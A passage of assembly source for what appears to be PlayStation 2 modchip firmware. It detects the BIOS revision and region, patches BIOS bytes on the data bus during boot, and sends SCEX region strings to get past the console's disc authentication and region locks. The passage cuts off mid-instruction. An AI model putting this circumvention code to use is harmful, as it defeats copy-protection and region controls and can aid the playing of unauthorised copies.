SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. ;VAR_SWITCH.2 = not used X_FLAG = VAR_SWITCH.3 ;set when HOLD_BOOT_MODES only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media DEV1_FLAG = VAR_SWITCH.4 V14_FLAG = VAR_SWITCH.5 ;set due to W for region of BIOS which decka models ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $07FF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;****** Reset of the chip ******************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mode $000F mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ;to be sure ports are input ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ;.... mov w,#$ff ; 1111 1111 mov !ra,w ;... mode $000A ;set up edge register mov w,#$8 ; 0000 1000 mov !IO_CDDVD_BUS,w ;RB3 wait for LOW ( = 1 ),RB2 wait for hi ( =0 ) mode $0009 ;clear all wakeup pending bits clr w mov !IO_CDDVD_BUS,w mode $000B ;enable wakeup... mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ;... on RB3 ( eject ) & RB2 (reset) mode $000F sleep ;INIT_CHIP STARTUP ;here from stby & wake up... mode $000D ;TTL/CMOS mode... mov w,#$f7 ;1111 0111 mov !IO_CDDVD_BUS,w ;set IO_EJECT input as cmos ( level '1' > 2.5V ) work better with noise ... mode $000E ;? mov w,#$be ; 1011 1110 mov !IO_CDDVD_BUS,w mode $000F ;port mode mov w,#$7 ; 0000 0111 mov !ra,w ;port mode : all input mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;rtcc enabled,no int,incr.on clock, prescaler (bit 2,1,0). ;read power down register clr fsr mode $0009 ;read power down register clr w ;clear W mov !IO_CDDVD_BUS,w ;exchange registers = read pending bits mov VAR_PSX_BITC,w ;save wake up status ... mode $000F ;need 'cause removed from patch disk for speed ! ;execute correct startup... snb pd jmp CLEAR_CONSOLE_INFO_PREFIND ;0 = power up from sleep , 1= power up from Power ON (STBY) snb VAR_PSX_BITC.2 jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 ;xcdvdman reload check page $0200 jmp POST_PATCH_4_MODE_START page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;power up from STBY CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS ;reset all used flag... clr VAR_SWITCH jmp BIOS_GET_SYNC ;--------------------------------------------------------- ;Delay routine using RTCC ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- DELAY100m ;Precise delay routine using RTCC ;-------------------------------------------------------------------------------- mov w,#100;$64 mov VAR_DC1,w ;delay = 100 millisec. RTCC_SET_BIT mov w,#61;$3d mov rtcc,w ;load timer = 61 ; delay = (256-61)*256*0.02 micros.= 1000 micros. / 45 for 54M RTCC_CHECK mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z ;skip next bit if rtcc = 0 jmp RTCC_CHECK ;loop w=rtcc till equal then will skip decsz VAR_DC1 ;VAR_DC1 = 100 count then skip next bit jmp RTCC_SET_BIT retp ;Return from call ;-------------------------------------------------------------------------------- SET_INTRPT ;setup interrupt routine ;-------------------------------------------------------------------------------- mode $000A ;set up edge register mov w,#$6 ; 0000 0110 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense ;wait for low mode $0009 ;clear all wakeup pending bits clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; clear all wakeup pending bits ; set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ;enable interrupt ; MIWU operation. see Section 4.4. mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enable interrupt mode $000F ; XFh mode direction for RA, RB, RC output retp ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX ; SCEX HI ; Delay About 5mS mov w,#59;$3b ;#59 var_dc3 mov mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 set for 50mhz mov VAR_DC2,w not ra :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX ; SCEX LOW ; Delay About 5mS+ mov w,#59;$3b mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 for 50mhz mov VAR_DC2,w snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp :loop2 setb SCEX_FLAG :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; UK 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; JAP 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- snb JAP_FLAG jmp jap snb UK_FLAG jmp uk clr VAR_DC4 jmp usa uk mov w,#8;$8 mov VAR_DC4,w jmp usa jap mov w,#4;$4 mov VAR_DC4,w jmp usa usa mov w,#4;$4 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$b mov !ra,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#8;$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#22;$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$f mov !ra,w ret ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- NOTCALLED0 snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 for x.00 of bios jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION nop mov w,#$30 ; ASCII 0; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR nop mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$57 ;is byte7 ASCII W v14/75k+ bios mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_V14 mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK mov w,#$43 ;is byte7 ASCII C ; china region which pal region but ps2 ntsc-c made mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if C snb z ;if compare dont = 0 (C) skip next line jmp BIOS_UK jmp BIOS_JAP ; no match on byte7 compares, assumed is jap region BIOS_USA setb USA_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_V14 setb V14_FLAG IFDEF RSTBUMP clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f jmp BIOS_USA ENDIF IFDEF USAv14 jmp BIOS_USA ENDIF IFDEF JAPv14 jmp BIOS_JAP ENDIF BIOS_UK setb UK_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb JAP_FLAG RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp TAP_BOOT_MODE ;DVD movie : GREEN fix + MACROVISION off CHECK_IF_V9to14 setb PSX_FLAG mov w,#$30 ; is bios 2.0 for v12 ;V12 use V910 kernel :) mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$37 ; is bios 1.7 for v9-10 ;select KERNEL TYPE V9 or V10 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 ; is bios 1.9 for v11 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 snb V14_FLAG ; is v14 flag set from W region, should work all decka 75k+ jmp START_BIOS_PATCH_SYNC_V9toV14 ;V1-8 kernels: sync 1E006334 then 2410 mov w,#50;$32 ; v1-8 bios VAR_DC1 set fall over no match for mov VAR_DC1,w START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 START_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 START_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L2 ; next byte / wait for bios OE low BIOS_V1toV8_PATCH1 snb IO_BIOS_OE jmp BIOS_V1toV8_PATCH1 decsz VAR_DC1 jmp START_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w mode $000F ; XFh mode direction for RA, RB, RC output call BIOS_WAIT_OE_LO_P1 mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp BIOS_V1toV8_IORESET_INPUT mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START ;exit KERNEL PATCH ; V9/V10/V12 kernels ;kernel_V910 ;Kstart_l0 START_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14 ; patch 25 10 43 00 to 00 00 00 00 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L1 START_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L3 START_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L5 BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w mode $000F ; XFh mode direction for RA, RB, RC output mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins input patch end for more sync ;************************************************************************************************** ;New mode select for PSX/DEV mode : ;Check RESET for about 4 sec ( 2 =initial delay + 2 from this routine ) ;if exit before then enter PSX mode , else wait for reset release and wait again for ;10 sec. If RESET is pressed again within 10 sec. then enter DEV mode else ;definitively SLEEP chip for all media that no need patch ( VIDEO , MUSIC , ORIGINALS ). ;************************************************************************************************** ;TEST_RESET MODE_SELECT_START mov w,#10;$a ; 10x100ms ;test RESET for about 1sec mov VAR_DC2,w ;test_l1 MODE_SELECT_TIMER_L1 call DELAY100m snb IO_REST jmp HOLD_BOOT_MODES decsz VAR_DC2 ; repeat n jump to HOLD_BOOT_MODES if under 1sec so tap 1+1=2sec jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST ;wait RESET release for PS1_MODE jmp MODE_SELECT_TIMER_L2 mov w,#5;$5 ;debounce RESET for about 0.5 sec buffer for not exact 2sec hold mov VAR_DC2,w ;test_l2 MODE_SELECT_TIMER_L3 call DELAY100m ;test RESET again for about 10.0 sec. decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#100;$64 ;100 mov VAR_DC2,w ;100+25=125 12.5secs ;test_l3 DISABLE_MODE call DELAY100m ;10secs = DISABLE_MODE but 2.5secs for retap of reset for DEV1 sb IO_REST ;resetted ...enter DEV mode page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE ;...sleep chip , can't wake up without put PS2 into stby sleep ;RESET0 TAP_BOOT_MODE clr fsr clrb PSX_FLAG ;RESET_DOWN HOLD_BOOT_MODES snb DEV1_FLAG ;reenter dev mode if rest in dev mode page $0600 jmp DEV1_MODE_LOAD_START setb SOFT_RST ;soft reset may need more than 1 disk patch he he he .... clrb EJ_FLAG setb X_FLAG ;first XMAN patch flag clrb V12LOGO_FLAG ;clear V12 logo flag patch page $0200 jmp PS2_MODE_START ;PS2 osd patch or PS1DRV init... (based on psx_flag status) ;--------------------------------------------------------------------- ;PS2 : continue patch after OSDSYS & wait for disk ready... ;--------------------------------------------------------------------- ;PS2_PATCH2 CHECK_IF_START_PS2LOGO clr fsr sb PSX_FLAG page $0400 jmp START_PS2LOGO_PATCH_LOAD sb PSX_FLAG jmp TRAY_IS_EJECTED ;CDDVD_EJECTED TRAY_IS_EJECTED sb IO_REST ;here from eject jmp TAP_BOOT_MODE ;reset ? snb IO_EJECT jmp TRAY_IS_EJECTED ;wait for tray closed... ;wait for bios cs inactive ( fix for 5 bit bus and cd boot ) ;DELAY1s RESUME_MODE_FROM_EJECT mov w,#5;$5 ;Precise delay routine using RTCC mov VAR_DC2,w ;ld_del0 RESUME_MODE_FROM_EJECT_L1 mov w,#100;$64 ;delay = 100 millisec. mov VAR_DC1,w ;ld_del RESUME_MODE_FROM_EJECT_L2 mov w,#59;$3b ;load timer=61,delay = (256-61)*256*0.02 micros.= 1000 micros. mov rtcc,w ;ld_del1 RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS ;wait again 500msec if bios cs active jmp RESUME_MODE_FROM_EJECT sb IO_REST ;new reset check here ... jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED ; mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_INTRPT ;better here .... clr fsr snb DEV1_FLAG page $0600 jmp START_CDDVD_PATCH ;patch media for DEVMODE mov w,#2;$2 mov VAR_DC4,w mov w,#$32 ;ASCI 2 mov w,VAR_BIOS_YR-w ; is 2002 Year console snb z jmp CONSOLE_2002_JMP ;# of ps2logo patch for PS2 V7 mov w,#1;$1 mov VAR_DC4,w ;MEPATCH CONSOLE_2002_JMP page $0600 jmp START_CDDVD_PATCH ;patch ps2 CD/DVD ;------------------------------------------------------------------------- ;NEW NEW NEW patch psx game... and some protected too ;------------------------------------------------------------------------- ;PSX_PATCH PS1_MODE_START_PATCH clr fsr clrb SCEX_FLAG mov w,#$ff mov VAR_PSX_TEMP,w ;autosend correct # of SCEX (max value help bad optics) ;) ;psx_ptc_l0 RUN_PS1_SCEX_INJECT call SEND_SCEX snb SCEX_FLAG jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP ; loop sending SCEX jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;DRVPTC PS1_SCEX_INJECT_COMPLETE snb EJ_FLAG jmp RUN_PS1_SCEX_INJECT ;send all scex after bios patch then sleep mov w,#2;$2 mov VAR_DC4,w ;# of PS1DRV patch for PS2 V7 mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14orV1toV12PALorNTSC mov w,#1;$1 mov VAR_DC4,w ;DRV PS1_IS_V14orV1toV12PALorNTSC snb V14_FLAG ; check if V14_FLAG set meaning v14/75k decka jmp PS1_V14_PATCH snb UK_FLAG ; fix for ntsc/pal ps1 route v1-12 page $0400 jmp PS1_CONSOLE_PAL_YFIX ; jmp to pal start if pal console page $0400 jmp PS1_CONSOLE_ALL_JMPNTSC ; fall over to ntsc start if no pal flag set ;V14DRV1 PS1_V14_PATCH mov w,#49;$31 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$40 mov VAR_PSX_TEMP,w mov w,#$1b mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w page $0400 jmp PS1_MODE_START ;exec psxdrv patch + logo1 + set EJect flag and ret to PSX_PATCH org $0200 ; PAGE2 200-3FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- NOTCALLED3 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low ret ;--------------------------------------------------------- ; NEW BIOS PATCH ROUT ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- NOTCALLED1 mov w,indf ; SRAM address moved to w and output to IO_BIOS_DATA mov IO_BIOS_DATA,w inc fsr ; +1 to step through the SRAM cached patches mov w,#$10 ; 10h or so always in SRAM address section 6.2.1 or fsr,w ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE ; next byte / wait for bios OE low jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP ; jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP if IO_BIOS_OE high decsz VAR_DC2 ; loop calling of SRAM cache till VAR_DC2=0 then patch finished, VAR_DC2 set in loading of call here for ea patch jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE ; next byte / wait for bios OE high jmp END_BIOS_PATCHES_SRAM_RESET_IO ; jmp END_BIOS_PATCHES_SRAM_RESET_IO if IO_BIOS_OE high mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all pins Hi-Z input clr fsr ;moved here ! retp ; patching done. Return from call ;---------------------------------------------------------- ;Patch PS2 game... ;---------------------------------------------------------- ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;osdsys ;-------------------------------------------------------------------------------- jmp pc+w ;V134 retw $23 retw $80 retw $ac retw $c retw $0 retw $0 retw $0 ;VX retw $24 ; 7 retw $10 retw $3c retw $e4 retw $24 retw $80 retw $ac retw $e4 retw $22 retw $90 retw $ac retw $84 retw $bc mov w,#79;$4f mov VAR_DC3,w ;79 ; #### ber jmp BIOS_PATCH_DATA_PART2_ALL ;V9 retw $24 ; 23 retw $10 retw $3c retw $74 retw $2a retw $80 retw $ac retw $74 retw $28 retw $90 retw $ac retw $bc retw $d3 mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V14 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $78 retw $2d retw $80 retw $ac retw $40 retw $2b retw $90 retw $ac retw $a0 retw $ff mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V10-12 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $e4 retw $2c retw $80 retw $ac retw $f4 retw $2a retw $90 retw $ac snb V12_FLAG jmp V12_CONSOLE_20_BIOS_JMP mov w,#70;$46 mov VAR_DC3,w ; 54 + 16 = 70 retw $a4 retw $ec mov w,#79;$4f mov VAR_DC3,w ; 63 + 16 = 79 jmp BIOS_PATCH_DATA_PART2_ALL ;v12 V12_CONSOLE_20_BIOS_JMP mov w,#77;$4d mov VAR_DC3,w ; 61 + 16 = 77 retw $c retw $f9 ;LOAD_END BIOS_PATCH_DATA_PART2_ALL retw $91 ; 63 + 8 = 71 ;;79 retw $34 retw $0 retw $0 retw $30 retw $ae retw $c retw $0 retw $0 retw $0 ;LOAD_PSX1D retw $c7 ; 73 retw $2 retw $34 retw $19 retw $19 retw $e2 retw $ba retw $11 retw $19 retw $e2 retw $ba ;V14 jmp back retw $3c ; 71 + 8 = 79 retw $c7 ; 73 retw $2 retw $34 IFDEF NTSCPS1YFIX75K retw $29 ;19pal/29ntsc yfix pal console ELSE retw $19;$29 ;19pal/29ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb IFDEF NTSCPS1YFIX75K retw $21 ;11pal/21ntsc yfix pal console ELSE retw $11;$21 ;11pal/21ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb retw $60 retw $9 retw $8 retw $8 ;PS2_PATCH PS2_MODE_START ;load osdsys data patch for PS2 mode or ps1drv data patch for PSX mode clr fsr sb PSX_FLAG jmp CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode selected , skip snb V14_FLAG page $0400 jmp PS2LOGO_PATCHLOAD_22_JMP1 mov w,#11;$b mov VAR_DC1,w ;psx mode : # of patch bytes mov w,#$59 ; 89 ;ps1drv data offset here ... jmp ALL_CONTIUNE_BIOS_PATCH ;:set_psx2 CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset clr fsr snb V14_FLAG jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if CHECK_V9to14_REV set meaning W v14/75k+ mov w,#$31 ;ascii 1 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 1 ;v1 snb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V1_CONSOLE_11_BIOS ;jmp V1_CONSOLE_11_BIOS if VAR_BIOS_REV did = 1 ascii mov w,#$32 ;ascii 2 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 2 ;v2-3 snb z ;skip next line if doesnt = 0 meaning is 2 ascii jmp V2or3_CONSOLE_12_BIOS ;jmp V2or3_CONSOLE_12_BIOS if VAR_BIOS_REV did = 2 ascii mov w,#$35 ;ascii 5 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 5 ;v4 snb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V4_CONSOLE_15_BIOS ;jmp V4_CONSOLE_15_BIOS if VAR_BIOS_REV did = 5 ascii jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if VAR_BIOS_REV didnt = 5 ascii ;:set_V1 V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#176;$b0 mov VAR_DC3,w mov w,#116;$74 mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V3 V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#64;$40 mov VAR_DC3,w mov w,#122;$7a mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V4 V4_CONSOLE_15_BIOS mov w,#96;$60 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#12;$c mov IO_BIOS_DATA,w ;:set_P V1to8_CONTIUNE mov w,#7;$7 ; V5678 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH ;:set_Vx CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#23;$17 mov VAR_DC1,w mov VAR_DC2,w ; VAR_DC1 VAR_DC2 = 17h = 23 mov w,#$37 ;ascii 7 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 7 ;1.7bios v9-11 50k snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 ;ascii 9 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 9 ;1.9bios v9-11 50k snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 ;ascii 0 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 0 ;2.0bios v12 snb z jmp V12_CONSOLE_20_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V14_CONSOLE_22_BIOS mov w,#48;$30 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#7;$7 ; V5678 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V9 V9_CONSOLE_17_BIOS mov w,#4;$4 mov VAR_DC3,w mov w,#148;$94 mov VAR_DC4,w mov w,#23;$17 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V14 V14_CONSOLE_22_BIOS setb V10_FLAG setb V14_FLAG mov w,#212;$d4 mov 